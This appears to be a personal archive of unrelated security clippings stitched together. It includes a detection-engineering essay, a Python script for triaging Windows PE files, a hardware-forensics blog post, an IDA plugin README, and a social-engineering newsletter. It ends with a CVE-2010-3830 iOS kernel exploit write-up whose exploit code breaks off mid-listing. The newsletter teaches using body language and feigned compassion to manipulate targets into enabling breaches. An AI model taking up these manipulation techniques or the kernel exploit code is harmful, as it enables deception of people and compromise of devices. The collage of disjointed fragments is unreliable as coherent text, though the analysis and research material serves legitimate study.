  * 为了调试更快捷，建议关闭Source-Level（Debugger->Use source-level debugging），否则一旦连接到远程程序，IDA就会弹出各种警告提示框让你确认。

  

# dynamorio - Google Code

**Created:**| _5/8/2009 9:26:06 PM_  
---|---  
**Updated:**| _5/8/2009 9:26:29 PM_  
**Author:**| __  
**Tags:**| _security tools_  
  

DynamoRIO is a runtime code manipulation system that supports code
transformations on any part of a program, while it executes. DynamoRIO exports
an interface for building dynamic tools for a wide variety of uses: program
analysis and understanding, profiling, instrumentation, optimization,
translation, etc. Unlike many dynamic tool systems, DynamoRIO is not limited
to insertion of callouts/trampolines and allows arbitrary modifications to
application instructions via a powerful IA-32/AMD64 instruction manipulation
library. DynamoRIO provides efficient, transparent, and comprehensive
manipulation of unmodified applications running on stock operating systems
\(Windows or Linux\) and commodity IA-32 and AMD64 hardware.

<img src='img/Temp2_10183.png' />

# rewolf

**Created:**| _9/3/2009 10:02:49 AM_  
---|---  
**Updated:**| _9/3/2009 10:02:57 AM_  
**Author:**| __  
**Tags:**| _bookmark_  
  
click here

# Can We Have “Detection as Code”?. One more idea that has been bugging me… | by Anton Chuvakin | Anton on Security | Medium
**Created:**| _6/5/2021 12:21:15 PM_  
---|---  
**Updated:**| _6/5/2021 12:21:15 PM_  
**Author:**| __  
**Tags:**| __  
  

  

# **Can We Have “Detection as Code”?**

<img src='img/0*888-kwdspzu5MKfg.jpg' width='48' height='48' />

Anton Chuvakin

Sep 21, 2020 · 5 min read

One more idea that has been bugging me for years is an idea of **“detection as
code.”** Why is it bugging me and why should anybody else care?

First, is “detection as code” just a glamorous term for what you did when you
loaded your Snort rules in cvs in, say, 1999? Well, not exactly.

What I mean by “detection as code” is a **more systematic, flexible and
comprehensive approach to threat detection that is somewhat inspired by
software development** \(hence the “as code” tag\). Just as infrastructure as
code \(IaC\) is not merely about treating your little shell scripts as real
software, but about machine-readable definition files and descriptive models
for infrastructure.

Why do we need this concept? This is a good question\! Historically, from the
days of first IDS \(1987\) to the sad days of _“IDS is dead”_ \(2003\) and
then to today, detection got a bit of a bad reputation. We can debate this, to
be sure, but most would probably agree that threat detection never “grew up”
to be a **_systematic discipline_** , with productive automation and
predictable \(and predictably good\!\) results. In fact, some would say that
“Your detections aren’t working.” And this is after ~35 years of trying …

Detection engineering is a set of practices and systems to deliver modern and
effective threat detection. Done right, it can change security operations just
as DevOps changed the stolid world of “IT management.” You basically want _to
devops_ \(yes, I made it a word\) your detection engineering. I think
“detection as code” is a cool name for this shift\!

As you see, this is not so much about treating detections as code, but about
growing detection engineering to be a “real” practice, built on modern
principles used elsewhere in IT \(agile this, or DevOps whatever\).

Now, to hunt for the true top-tier APTs, you probably need to be an _artist_ ,
not merely a great security engineer \(IMHO, best threat hunting is both art
and science, and frankly more art than science….\). But even here, to enable
“artistic” creativity in solving threat detection problems we need to make
sure those solutions function on a predictable layer. Moreover, for many other
detection pursuits, such as detecting ransomware early, we mostly
need**automated, systematic, repeatable, predictable and shareable
approaches.**

OK, how do we do “detection as code”? How would I describe the characteristics
of this approach?

  * **Detection content versioning** so that you can truly understand what specific rule or model triggered an alert — even if this alert was last July. This is even more important if you use a mix of real-time and historical detections.
  * **Proper “QA” for detection content** that covers both testing for broken alerts \(such as those that never fire or those that won’t fire when the intended threat materializes, and of course those that fire where there is no threat\) and testing for gaps in detection overall. “False positives” handling, naturally, get thrown into this chute as well.
  * **Content \(code\) reuse** and **modularity** of detection content, as well as community sharing of content, just as it happens for real programming languages \(I suspect this is what my _esteemed colleague_ describes here\). As a reminder, detection content does not equal rules; but covers rules, signatures, analytics, algorithms, etc.
  * **Cross-vendor content** would be nice, after all we don’t really program in “vendor X python” or “big company C” \(even though we used to\), we just write in C or Python. In the detection realm, we have Sigma and YARA \(and YARA-L too\). We have ATT&CK too, but this is more about organizing content, not cross-vendor writing of the content today.
  * I also think that getting to **cross-tool detection content** would be great, wherever possible. For example, you can look for a hash in EDR data and also in NDR; and in logs as well. SIEM alone won’t do.
  * **Metrics and improvement** are also key; the above items will give you plenty of metrics \(from coverage to failure rates\), but it is up to you to structure this process so that you get better.
  * While you may not be looking at building a full **CI/CD pipeline for detections** to continuously build, refine, deploy and run detection logic in whatever product\(s\), I’ve met people who did just that. To me, these people really practice detection as code.
  * Finally, I don’t really think this means that your detections need to be expressed in a programming language \(like Python here and here or Jupyter notebooks\). What matters to me is the approach and thinking, not actual code \(but we can have this debate later, if _somebody_ insists\)

Anything else I missed?

For our recent SANS paper / webcast, that mentioned this topic, we crafted
this example visual:

<img src='img/0*TOpsrHs6lcHOtyEA' width='740' height='794' />

<img src='img/1898_0*TOpsrHs6lcHOtyEA' width='740' height='794' />

Source: recent SANS paper.

Finally, let’s cattle-prod the elephant in the room: what about the crowd that
just does not want anything “as code”? They also don’t like to create their
own detections at all. In fact, they like their detections as easy as pushing
an ON button or downloading a detection pack from a vendor? This is fine.

Personally, I’ve met enough security people who run away screaming from any
technology that is “too flexible”, “very configurable” and even “programmable”
\(or: “… as code”\) because their past experience indicates that this just
means failure \(at their organization\). However, to detect, you need both a
tool and content. Hence, both will have to come from somewhere: you _can_
build, buy, rent, but you _must_ pick.

Now, upon reading this, some of you may say _“duh … what is not painfully
obvious about it?”_ but I can assure you most people in the security industry
do NOT think like that. In fact, such thinking is alien to most, in my
experience. Maybe they think detection is a product feature. Or perhaps they
think that detection is some magical “threat” content that comes from “the
cloud.”

Hence, “detection as code” is not really an approach change for them, but a
more **philosophical upheaval**. Still, I foresee that threat detection will
always be a healthy mix of both an engineering and a creative pursuit….

Thoughts?

P.S. Thanks to Brandon Levene for hugely useful contributions to this
thinking\!

# Worked for me: Creating Your Own Virustotal..Well Kind Of..Ok, Not Really

**Created:**| _7/1/2010 10:25:25 AM_  
---|---  
**Updated:**| _7/4/2010 8:03:37 AM_  
**Author:**| __  
**Tags:**| _python web cloud computing Malware-analysis_  
  

### Creating Your Own Virustotal..Well Kind Of..Ok, Not Really

Virustotal is free website that allows individual to upload files to be
scanned by 41 anti-virus engines and file identification tools. Virustotal was
created in 2004 by Hispasec Sistemas. Virustotal is a very valuable tool for
many system admins, technical support engineers or anyone else who is curious
if a file malicious. The main downside to Virustotal is that you have to
submit your samples through a web interface or email. Sometimes it's nicer to
have a quick report from the command line but in certain situations you can't
submit the samples.   
  
This post focuses on analyzing Microsoft Portable Executable \(PE\) files
using Python, PeFile, PEID and a command line anti-virus scanner. This post
will display the Python code for creating the PE information displayed under
the anti-Virus scanner results on Virustotal results page. The post also will
contain the code to call and display the results for an anti-virus command
line scanner.  
  
Python still feels new to me so please feel free to email me or leave a
comment if you have any recommendations or advice on the code. The full source
code can be found here.   
  
Let's start at the top of the code with the imports.   

[code]

      
    import sys  
    import os  
    import pefile  
    import peutils  
    import math  
    import time  
    import datetime  
    import subprocess  
    
    
[/code]

  
  
The only non-standard modules listed above are Pefile and Peutils. These were
created by Ero Carrea. Both of these modules can be found here. For anyone new
to Python, modules are files that contain statements and definitions that can
be used to import functionality. Please see this article for more details.   
  
Below is the first function that will be called. The function "attributes"
extracts basic information from the Portable Executable. The Portable
Executable is a file format that the Windows operating system uses to
encapsulates data and code. The Windows OS Loader uses the data structure to
manage the wrapped executable code.   
  

[code]

      
    ## Print PE file attributes  
    def attributes():    
            print "Image Base:", hex(pe.OPTIONAL_HEADER.ImageBase)  
            print "Address Of Entry Point:", hex(pe.OPTIONAL_HEADER.AddressOfEntryPoint)  
            machine = 0  
            machine = pe.FILE_HEADER.Machine  
            print "Required CPU type:", pefile.MACHINE_TYPE[machine]  
            dll = pe.FILE_HEADER.IMAGE_FILE_DLL  
            print "DLL:", dll  
            print "Subsystem:", pefile.SUBSYSTEM_TYPE[pe.OPTIONAL_HEADER.Subsystem]  
            print "Compile Time:",   datetime.datetime.fromtimestamp(pe.FILE_HEADER.TimeDateStamp)  
            print "Number of RVA and Sizes:", pe.OPTIONAL_HEADER.NumberOfRvaAndSizes  
    
    
[/code]

  
  
Above we are using PeFile to read and display data from the PE format. Before
using Pefile the executable will need to be loaded into memory. This will be
covered when Main\(\) is discussed.   
  
Output:  
`  
Portable Executable Information  
Optional Header: 0x400000  
Address Of Entry Point: 0x78020  
Required CPU type: IMAGE_FILE_MACHINE_I386  
DLL: False  
Subsystem: IMAGE_SUBSYSTEM_WINDOWS_GUI  
Compile Time: 2007-04-29 05:43:12  
Number of RVA and Sizes: 16  
`  
  
Attributes from the PE can give information about the executable that can be
valuable when analyzing an unknown executable. The first output line is the
Image Base of the executable. The default value for an application is
0x00400000 and 0x10000000 for a Dll. A value that is non-standard could be a
possible flag and should be noted.   
  
The second output is the address of the entry point. The entry point is the
starting address for the executable, address of the initialization function
for device drivers and the entry point is optional for a Dll. The standard
value for the entry point is 0x01000. If the value is non-standard it should
be noted because the entry point could have possibly been changed by a packer
or obfuscation tool.   
  
The third output is the Machine Type. This can be used to identify if the file
is 32-bit or 64-bit. If the Machine Type value is IMAGE\_FILE\_MACHINE\_I386
then executable is 32-bit. To identify a 64-bit executable the Machine Type
value would be IMAGE\_FILE\_MACHINE\_AMD64 or IMAGE\_FILE\_MACHINE\_IA64.  
  
The fourth output simply identifies if the executable is DLL or not.   
  
The fifth output identifies the subsystem type. In the example above
IMAGE\_SUBSYSTEM\_WINDOWS\_GUI identifies that the executable has a Windows
GUI. If the subsystem was IMAGE\_SUBSYSTEM\_WINDOWS\_CUI it would mean the
executable is a console application. The third common subsystem type is
IMAGE\_SUBSYSTEM\_NATIVE. This is reserved for drivers and native system
processes. Just a side not to idenitfy a Xbox executable the subsystem type
would be IMAGE\_SUBSYSTEM\_XBOX.  
  
The sixth line of output is the time the executable was compiled.   
  
The last line of output displays the NumberOfRvaAndSizes. The default value
for this attribute is 0x10 or 16 in decimal. Modification of this value can be
used to crash Ollydbg. If the value is non-standard and Ollydbg gives an error
patching this field might be needed. These values are helpful because they
give clues if there is anything non-standard about the executable. Non-
standard values could be from a packer, some code obfuscation tool or by the
programmer passing the compiler flags.   
  

[code]

      
    def sections_analysis():  
            print "Number of Sections:", pe.FILE_HEADER.NumberOfSections  
            print  
            print "Section  VirtualAddress VirtualSize SizeofRawData Entropy"  
            for section in pe.sections:  
                    print "%-8s"  % section.Name, "%-14s" % hex(section.VirtualAddress), "%-11s" % hex(section.Misc_VirtualSize),\  
                          "%-13s" % section.SizeOfRawData, "%.2f" % E(section.data)  
            print   
    
    
[/code]

  
  
The next function called is "sections\_analysis". This sections outputs the
name of the sections, it's virtual address, it's virtual size, size of raw
data and it's entropy. This information is valuable because certain packers
will modify these attributes. Packers will sometime rename sections, create
new sections, or modify other attributes. For a detailed analysis of how
packer work please see Websense's "The History of Packing Technology".  
  
Output:`  
Number of Sections: 3  
  
Section VirtualAddress VirtualSize SizeofRawData Entropy  
UPX0 0x1000 0x42000 0 0.00  
UPX1 0x43000 0x36000 217600 7.93  
.rsrc 0x79000 0x2000 7680 4.00  
`  
  
The above output gives hints to what type of packer was used just be reviewing
the section names. In the case of the test executable, Putty.exe was
compressed using UPX. The string UPX can be observed in the section names. Two
other attributes that should be mentioned is the zero size of the raw data of
UPX0 and the high entropy of the section UPX1. During execution of a packed
executable UPX will need to write the uncompressed data to a section. The
section UPX0 with a size of zero will be used for storing the uncompressed
data. Not all packers will use this technique but this is another
characteristics that should be noted.   
  

[code]

      
    ## Entropy calculation from Ero Carrera's blog ###############  
    def E(data):  
            entropy = 0    
            if not data:  
                    return 0  
            ent = 0  
            for x in range(256):  
                    p_x = float(data.count(chr(x)))/len(data)  
                    if p_x > 0:  
                            entropy += - p_x*math.log(p_x, 2)  
            return entropy  
    
    
[/code]

  
  
Entropy is a measurement of how organized or disorganized data is. The more
random the data is the higher the entropy will be. Packers will apply an
algorithm to either compress the data or obfuscate it. The output of the
packed data has a higher entropy and is more random than the original compiled
executable. The entropy range for the "E" function ranges between 0.0 and 8.0.
The closer the entropy is to 8.0 the higher the chances that the section is
packed or obfuscated. Please see here for more details.   
  

[code]

      
    ## Load PEID userdb.txt database and scan file  
    def PEID():  
            signatures = peutils.SignatureDatabase('userdb.txt')  
            matches = signatures.match_all(pe,ep_only = True)  
            print "PEID Signature Match(es): ", matches  
            print  
    
    
[/code]

  
  
PEID is tool for detecting common packers, cryptors and compilers for PE
files. By identifying the algorithm the PE file is compressed or obfuscated it
can help speed up analysis. Google, the name of the packer and the string
"tutorial" will usually return an analysis on how to unpack the file. Pefile
has functionality to use PEID's user database \(userdb.txt\) to scan a PE
file. The main PEID user database was created by BobSoft and can be
downloaded here. Many individuals use Panda Anti-Virus userdb.txt. A warning
to users of Panda's userdb.txt. Pefile will throw exceptions and will not work
due to some non-standard characters. It's recommended to use BobSoft's
userdb.txt.   
  
Output:`  
PEID Signature Matche(s): [['UPX 2.90 [LZMA] -> Markus Oberhumer, Laszlo
Molnar & John Reiser']]  
`  
  
The last function is called IAT\(\). This function will display all imported
Dlls and the imported API name.   
  

[code]

      
    ## Dump Imports  
    def IAT():  
            print "Imported DLLS:"  
            i = 1  
            for entry in pe.DIRECTORY_ENTRY_IMPORT:  
                    bool = 1 ## For Formattting   
                    print "%2s" % [i], "%-17s" % entry.dll  
                    print "\t",  
                    for imp in entry.imports:  
                            if bool:  
                                    print "%-1s" % imp.name,  
                                    bool = 0  
                            else:  
                                    sys.stdout.write("%s%s" % (", ",imp.name)) # Python Print adds a blank space   
                    print  
                    i += 1  
    
    
[/code]

  
  
Reviewing all API calls can help with giving a high level view of the behavior
of the executable. If the APIs list is sparse this might be a sign that the
executable has had it's Import table removed. The standard "Hello, World"
complied in C using LCC would contain 19 API names. If there are only three
APIs listed such as LoadLibrary, GetProcAddress and ExitProcess odds are the
file is packed or obfuscated in some manner.   
  
Output:`  
Imported DLLS:  
[1] KERNEL32.DLL   
LoadLibraryA, GetProcAddress, ExitProcess  
[2] ADVAPI32.dll   
RegCloseKey  
[3] COMCTL32.dll   
None  
[4] comdlg32.dll   
ChooseFontA  
[5] GDI32.dll   
LineTo  
[6] IMM32.dll   
ImmGetContext  
[7] SHELL32.dll   
ShellExecuteA  
[8] USER32.dll   
GetDC  
[9] WINMM.dll   
PlaySoundA  
[10] WINSPOOL.DRV   
WritePrinter  
`  
  
The final function calls a local command line anti-virus scanner.   
  

[code]

      
    ## Print Sophos  
    def sophos(filetmp):  
            print "Sophos Scan in progress.."  
            output = "None"  
            path = os.path.abspath(filetmp)  
            pwd = os.getcwd()  
            output = subprocess.call([os.path.join(pwd, 'cmd_scan', 'Sophos', 'SAV32CLI.EXE'), path])  
    
    
[/code]

  
  
Output:`  
Sophos Scan in progress..  
Sophos Anti-Virus  
Version 4.52.0 [Win32/Intel]  
Virus data version 4.52E, April 2010  
Includes detection for 1542982 viruses, trojans and worms  
Copyright (c) 1989-2010 Sophos Plc. All rights reserved.  
  
System time 21:36:32, System date 03 May 2010  
  
Quick Scanning  
  
1 file swept in 3 seconds.  
No viruses were discovered.  
Ending Sophos Anti-Virus.  
`  
  
This function will need to be copied and modified for each scanner. There are
a few free anti-virus scanners. The function above used Sophos's free command
line scanner. The scanner can be downloaded here. Other free scanner are
ClamAV, Panda and a couple of others. ClamAV can be used as a portable
application and does not need to be fully installed. The portable ClamAV can
be downloaded here. Most purchased anti-virus applications do have command
line interface.  
  

[code]

      
    if len(sys.argv) < 2:  
            print "Pyton Script "  
            sys.exit(3)  
    exename = sys.argv[1]  
    pe = pefile.PE(exename)  
    print "\nPortable Executable Information"  
    attributes()  
    sections_analysis()  
    PEID()  
    IAT()  
    sophos(exename)  
      
    ##   <- Format bug with SyntaxHighlighter (remove line)  
    
    
[/code]

  
  
This script will need to have a Portable executable file passed to it. Once a
file is passed Pefile will load the executable and then call all the
functions.   
  
In closing, this script is a quick example of using Python to analyze an
unknown executable file. The current version is 0.01. Overtime I'll keep
updating the script. As previously stated if there are any question or ideas
please leave a comment.

  

# Automated Whitebox Fuzz Testing

**Created:**| _9/30/2009 6:49:47 PM_  
---|---  
**Updated:**| _9/30/2009 6:50:22 PM_  
**Author:**| __  
**Tags:**| _research papers reversing Fuzzer Microsoft_  
  
<img src='img/Temp2_938' />

# Introduction to Hardware Forensics | System Forensics
**Created:**| _5/4/2015 10:24:48 AM_  
---|---  
**Updated:**| _5/4/2015 10:24:48 AM_  
**Author:**| __  
**Tags:**| _Forensics hardware_  
  

# Introduction to Hardware Forensics

05 2015

So… I was sitting around and started thinking about cell phones and how people
acquire data from them. I read about hacking pin codes with electronic
devices, rooting methods and their shelf life/practicality, chip off, JTAG,
etc.

What? JTAG and chip off…? After a bit of time on Google I sent a Tweet on
April 19th, 2015 asking, “JTAG opinions: RIFF, Smart-Clip2, Octoplus, or Sigma
Box? Looking to “play” around a bit”? I got a few replies. I didn’t know much
about what they tweeted back to me. Below is what has happened since that
tweet…

That’s when I realized I had a knowledge gap. I don’t know much about hardware
and/or electronics and if I ever needed to do something with either one of
those forensically I would need to ask for some help. But I also like new
hobbies and learning new things so this is where my road begins.

So to learn more about hardware, hardware “hacking”, and other techniques used
to acquire forensic data off hardware devices \(outside of desktop/laptop
computers\) I have decided to start poking around with some different consumer
electronics. Specifically home automation. At least initially to get my feet
wet, but more so because my cell phone is hundreds of dollars and it has some
super small electronics on it. I figured I would start with something a bit
bigger. So I hit up Amazon and ordered a few different home automation hubs to
take a look at. I’m less interested in the “hacking” part, but if I find
something interesting along the way I will write about it as well.

First things first. I need to buy some equipment…..

**My Shopping List:**

– Shikra – This will allow me to speak with various low\(er\) level data
interfaces such as; JTAG, SPI, I2C, UART, and GPIO – We can talk more about
those in future posts.  
– JTAGulator – This will allow me to brute force the PIN configuration for
UART and JTAG interfaces so we can the use something like Shikra \(or the
JTAGulator\) the talk with it as well.  
– Saleae Logic 8 – This is a logic analyzer and will allow us to more or less
perform a “Wireshark” sniff on various data interfaces so we can see what’s
being passed around the wire. It does this with the software, which has
protocol analyzers that will decode the various protocols \(SPI, I2C, serial,
JTAG, etc.\)  
– DSLogic Pro Kit Logic Analyzer – This is similar to the Salea, but much
cheaper. I haven’t gotten it to my house yet, so I can’t speak to its
performance. It was shipping from China and I didn’t want to wait so I also
ordered the Saleae.  
– Tekpower TP1803D Linear Digital Variable DC Power Supply – This will allow
me to supply power to devices without having to hook up the cords, etc.  
– Triplett 1101-B Compact Digital Multimeter – You can spend a lot more on
these, but it seems to be good enough \(for now\).  
– Ultra-Efficient Desk Clamp-Mount 56 SMD LED Spring-Arm Magnifying Lamp – If
you looked at your phone before you will realize it’s hard as hell to see the
parts.  
– Kendal 2 IN 1 SMD Rework Soldering STATION 852D++ – Pretty self explanatory.
Solder and do rework \(un-solder\) electronics.  
– Olympia Tools 88-670 iWork 15-Piece Smart Phone Repair Tool Kit  
– Klein Tools 32525 32-Piece Tamperproof Bit Set  
– SMARTScope by LabNation \(another Kickstarter\) – Don’t know much about
these really. I just Googled a bit.  
– Make: Electronics \(Learning by Discovery\) – Remember… I have no idea what
I am doing.  
– Hacking the XBox  
– Hot Glue Gun  
– Fishing lure tackle boxes – Keep all my stuff nice and neat so my wife
doesn’t kill me. I didn’t get the same model as I linked to. I couldn’t find
it online. Pretty much any of them will work.  
– Various Jumper wires, solder kits, parts, etc.  
– Some random stuff here and there.

**Things I already had**

– Raspberry Pi 2 Model B  
– Caldigit Thunderbolt Docking Station 2 – I ran out of USB ports…

**Cost**

Here is where I get to justify my purchases. It is about 50% of a graduate
class and I will learn a hell of a lot more than I would there so I consider
it justified. However, I couldn’t stomach adding all of it up so you will need
to do that on your own. Go home or go big I guess… <img
src='img/Temp2_4550.png' alt=':)' />

**Summary**

So yeah, that’s the “kit” I have and will be playing with. I’m not really sure
where this “series” of blog posts are going to go, or even if i’ll get
anywhere. I really know nothing about hardware/electronics so i’m more or less
putting this out to the public as a means to keep me on task and hopefully
learn something along the way. I can already see some C coding in my future.
At the very least I will keep notes and make a good record of where people can
go to at least get started if they are also interested.

Hardware Forensics, Hardware Hacking, Hardware Reverse Engineering

Your Registry Blobs Belong to Me \(RegHexDump\)

Comments are currently closed.

# SocialEngineerNewsletterVol02Is11.htm

**Created:**| _9/10/2010 9:49:38 AM_  
---|---  
**Updated:**| _9/10/2010 9:49:38 AM_  
**Author:**| _wishi_  
**Tags:**| _research socialising_  
  
**Neuro-Lingustic Hacking:   The difference between NLP and NLH - part I**    
NLH vs NLP – What’s the Difference?  
   
Last month we introduced a new level of social engineering science we are
calling neuro-linguistic hacking \(NLH\).  Many people approached us in Vegas
at Defcon and Black Hat asking what the big deal was and what was so different
about Neuro- Linguistic Hacking \(NLH\) versus Neuro-Linguistic Programming
\(NLP\). That is an excellent question with a very definite answer. Last month
we defined NLP.  Neuro: Points to our nervous system which we process our five
senses:  
• Visual  
• Auditory  
• Kinesthetic  
• Smell  
• Taste Linguistic: This points to how we use language and other nonverbal
communication systems through which our neural representations are coded,
ordered and given meaning. This can include things like:  
• Pictures  
• Sounds  
• Feelings  
• Tastes  
• Smells  
• Words Programming:  This is our ability to discover and utilize the programs
that we run in our neurological systems to achieve our specific and desired
outcomes. In short, NLP is how to use the language of the mind to consistently
achieve, modify and alter our specific and desired outcomes \(or that of a
target\). Wikipedia defines NLP as:  
 "Neuro-Linguistic Programming \(NLP\) is a controversial approach to
psychotherapy and organizational change based on "a model of interpersonal
communication chiefly concerned with the relationship between successful
patterns of behavior and the subjective experiences \(esp. patterns of
thought\) underlying them" and "a system of alternative therapy based on this
which seeks to educate people in self-awareness and effective communication,
and to change their patterns of mental and emotional behavior"  
   
NLP in its basest form is all about “you”. It is using the skills that NLP
practitioners teach such as anchoring, magic words and internal communication
but all with one goal in mind: To change you. To change a deep seated belief
and thought, a bad habit, or to help you achieve a goal.  
   
NLP relies heavily on reframing and that made it very popular to be used as a
therapy method.  Reframing is when one seeks to change a behavior by shifting
the context and/or meaning of a thought or action. Such as finding the
positive in a thought or situation one is in.  
   
Those who seek therapy are often depressed and see much more of the negative
side of things. Therapists who are successful at using reframing techniques
are able to help their patients see there is a “silver lining” in the dark
clouds that confront them often.  
   
The therapist will often examine where the patient wants to be not what
brought them to therapy as part of their reframing. They use questioning that
helps the patient envision where they want to be. An example of this:  
   
“Suppose our meeting is over and you go home. When it is later in the evening
you are tired and you go to sleep. As you are sleeping a miracle occurs and
cures all your problems that caused you to seek therapy. But since you are
sleeping nobody is able to tell you. As you awake in the morning how do you
see yourself discovering that this miracle happened?  What else are you going
to notice that will tell you this miracle occurred?”  
   
This is a talent only the very skilled therapist can use but if done right it
will cause the patient to begin to reframe their thoughts and they will start
to imagine what life would be like without the problems. As they talk about
it, the patient can start to envision the solutions and how implementing them
will make life better.  
   
Now, all of this is excellent information and really only sets the stage as to
how powerful NLP is and how it is used in a way that can truly change lives.
Of course this is just one use for NLP but it defines how NLP is more about
you and not a target, not a friend, not about other people.  
   
**How NLH is Different**  
NLH differs very much from NLP but there is one major characteristic about it
that is worth focusing on. Last month I discussed how NLH encompasses using
body language, vocal tones and microexpressions in manipulating your emotions
to effect others.  
   
With this description is the answer. Whereas NLP is about your internal change
and changing your thoughts and mind and feelings, NLH is about using your body
language, vocal tones and expressions to manipulate the feelings and emotions
of your target. Whereas NLP can teach you to use anchor words and tones to
change your feelings on a matter. NLH teaches you to use those same things to
control your emotions and display the emotion that will push your target down
the path you want.  
   
Let me give you an example of how this works. If you wanted a target to feel
some compassion, as compassion might make them more susceptible to suggestion
you can take a few approaches. Of course you will need to have your
elicitation well planned out but there are also some very key NLH techniques
you can use.  
   
First lets analyze what we want from the target. Empathy is described as “the
human ability to internalize the emotional state of others”. If you haven’t
already, meditate on the power of that statement. If you can cause the target
to internalize your emotions they will feel what you “feel” and in essence a
request along those line will not be able to be ignored.  
   
Dr. Carol Goman, an Italian Researcher, found that when a person moved their
hand in a gesture as if to caress another persons hand and that person
rejected the caress, the person who was viewing the video felt the social
rejection. The brain reacted as if the rejection occurred to them. How did
this happen?  
   
Dr. Goman’s research tells us that when we empathize with another person the
very same circuits trigger in our brain as the person who felt the original
emotion. If we empathize with someone on the emotion of grief our brains will
actually trigger the same circuits to cause that same emotion in our brain.
They are calling these “mirror neuron’s” for obvious reasons.  
   
Knowing this the natural response is to match our body language with emotion
we want the target to feel. This is vital to NLH success. If we can display
even subtle hints of compassion in our body language we can cause the target
to feel this. If we are nervous and worried we may make the target feel very
anxious and therefore not willing to answer our questions.  
   
Remember body language conveys your emotions. To convey compassion we would
need to develop a few skills. The way we speak needs to display what they call
“heart”. Using positive anchor words, positive in the sense of what we want
the target to do, will give the target a reason to mirror the emotion.  
   
Along with speaking comes listening. If we do not listen when the target
speaks we cannot properly display, or get them to mirror compassion. Empathic
listening is very important to NLH. Listening with an idea of what you can do
to help, learn or understand the speaker. Of course these seems to go against
the idea of using NLH to prove security flaws in people, but it just the
contrary. Trust is formed as we display compassion and that trust can cause
people to say, do or agree to things that can cause a breach.  
   
Compassion is open, friendly and warm. So body language that is close, rigid
or cold will not match with the language we are using in our NLH exercise.
This is very important as if the whole story does not match we will not be
successful.  
   
This is just a tip of the iceberg as next month I will discuss another
difference of NLH in how one can use microexpressions in addition to body
language.  _Written by Christopher Hadnagy_  
---

# ax330d/hrdev

**Created:**| _12/21/2016 9:16:39 AM_  
---|---  
**Updated:**| _12/21/2016 9:16:39 AM_  
**Author:**| __  
**Tags:**| _iDA Decompiler_  
  

  

## Hex-Rays Decompiler Enhanced View \(HRDEV\)

### What is this

This is an IDA Pro Python plugin to make Hex-Rays Decompiler output bit more
attractive. HRDEV plugin retrieves standard decompiler output, parses it with
Python Clang bindings and puts back.

### Requirements & installation

The only requirement is Clang Python binding. See
https://pypi.python.org/pypi/clang. Clang binding is required to parse
decompiler output and produce plugin output.

First install Clang Python binding if you don't have it, then just paste
plugin into "plugins/" IDA folder and plugin will be available on startup.

### How it works

Load plugin, then press "Alt + F5" and listing will appear. Currently this is
an alternative only to a standard "F5" \(function decompilation\), listing for
complete files is currently not supported.

You can put plugin into "plugins/" directory or load it via Alt+F7. If you put
it into "plugins/" folder, then place hrdev.py and hrdev\_plugin at the same
level and exactly under "plugins/".

### Options

HRDEV plugin has other key shortcuts:

  * Ctr+S - will save current document
  * Ctr+F - will pop up find-replace modal dialog

HRDEV plugin comes with several themes for syntax highlighting, however, you
can edit them or add own. To add your own, simply paste file with certain
theme name to folder "data/themes" and edit your file. The name of the file is
the name of the theme.

For various editor options please take a look at "data/config.ini" and
configuration files in "data/themes/\*.ini". Files contain comments, so it
should not be difficult to understand how to configure editor.

You can toggle line highlight on-off by clicking twice on line number bar.

### Other things to know

Plugin may print that there were some Clang parsing errors, but normally that
is not of a big concern, usually you can ignore them.

Plugin saves all decompiled files to the "hrdev\_cache/MODULE\_NAME/\*"
temporary folder. It is done so you can save changes made to file. Next time
when Alt+F5, is pressed, plugin will lookup for file in cache. If you want to
discard changes made, simply delete file in "hrdev\_cache/MODULE\_NAME/\*"
folder or disable file caching at all by configuring settings:
"disable\_cache=True".

This is still beta-release, so I am pretty sure you will find some bugs. Don't
hesitate to report them.

Plugin was tested on Windows only, however, I believe that there should be no
problems on other platforms.

Parsing huge file may take a while.

### Examples

This is how usually output looks like:

<img src='img/std-view.png' width='617' height='692' alt='Decompiler outut' />

This is how output looks by plugin:

<img src='img/plg-view.png' width='833' height='698' alt='Enhanced View' />

### TODOs and bugs

See TODO.

  

# CVE-2010-3830 - iOS < 4.2.1 packet filter local kernel vulnerability -
Sogeti ESEC Lab

**Created:**| _1/1/2011 10:49:17 AM_  
---|---  
**Updated:**| _1/1/2011 10:49:37 AM_  
**Author:**| __  
**Tags:**| _analysis vulnerability Mac-hacking_  
  

## CVE-2010-3830 - iOS < 4.2.1 packet filter local kernel vulnerability

By jean » Saturday 18 December 2010, 14:50 - Exploits

This post will describe a recent iPhone kernel vulnerability discovered by
comex and used in the limera1n and Greenpois0njailbreaking tools. Both tools
exploit a BootROM vulnerability found by geohot to get initial code execution
on the device, and comex's kernel exploit is then used to make the jailbreak
untethered, i.e to persist after a reboot. This kernel vulnerability was
patched with the release of iOS 4.2.1 on November 22.

The goal of jailbreaking tools is to patch the iPhone operating system kernel
in order to circumvent the code signing checks and thus being able to run any
application. On older devices \(iPhone 3g and below\) it is possible to break
the entire chain of trust and modify the kernel binary stored on flash memory.
On newer devices \(not vulnerable to the Pwnage or 24kpwn exploits\) this is
no longer possible, or at least there is no public bootchain-breaking exploit.
Thus, one has to find another way to keep the jailbroken state \(patched
kernel\) when the device is shut down or rebooted.

The userland jailbreak technique introduced by comex with the Spirit jailbreak
earlier this year leaves the kernel image untouched and exploits a kernel
vulnerability at every boot. The kernel exploit code is run as root in the
context of the first userland process \(launchd\), using what was dubbed as
the "Incomplete Codesign exploit". The idea is that since the iOS code signing
mechanism only applies on code segments, it is possible to use \(or abuse\)
some features of the Mach-O file format and the dynamic loader \(dyld\) to
kickstart a ROP payload without ever having to codesign anything. This part of
the jailbreak won't be covered here but probably in a next blogpost. Hence,
the following exploit discussion assumes root code execution has already been
achieved.

The CVE-2010-3830 kernel vulnerability is located in the BSD pf packet filter
of the xnu kernel, and can be triggered from userland through the `/dev/pf`
special file. The following exploit code was pushed on comex's github on
September 30 :

`int main() {  
unsigned int target_addr = CONFIG_TARGET_ADDR;  
unsigned int target_addr_real = target_addr & ~1;  
unsigned int target_pagebase = target_addr & ~0xfff;  
unsigned int num_decs = (CONFIG_SYSENT_PATCH_ORIG - target_addr) >> 24;  
assert(MAP_FAILED != mmap((void *) target_pagebase, 0x2000, PROT_READ | PROT_WRITE,MAP_ANON | MAP_PRIVATE | MAP_FIXED, -1, 0));  
unsigned short *p = (void *) target_addr_real;  
if(target_addr_real & 2) *p++ = 0x46c0; // nop  
*p++ = 0x4b00; // ldr r3, [pc]  
*p++ = 0x4718; // bx r3  
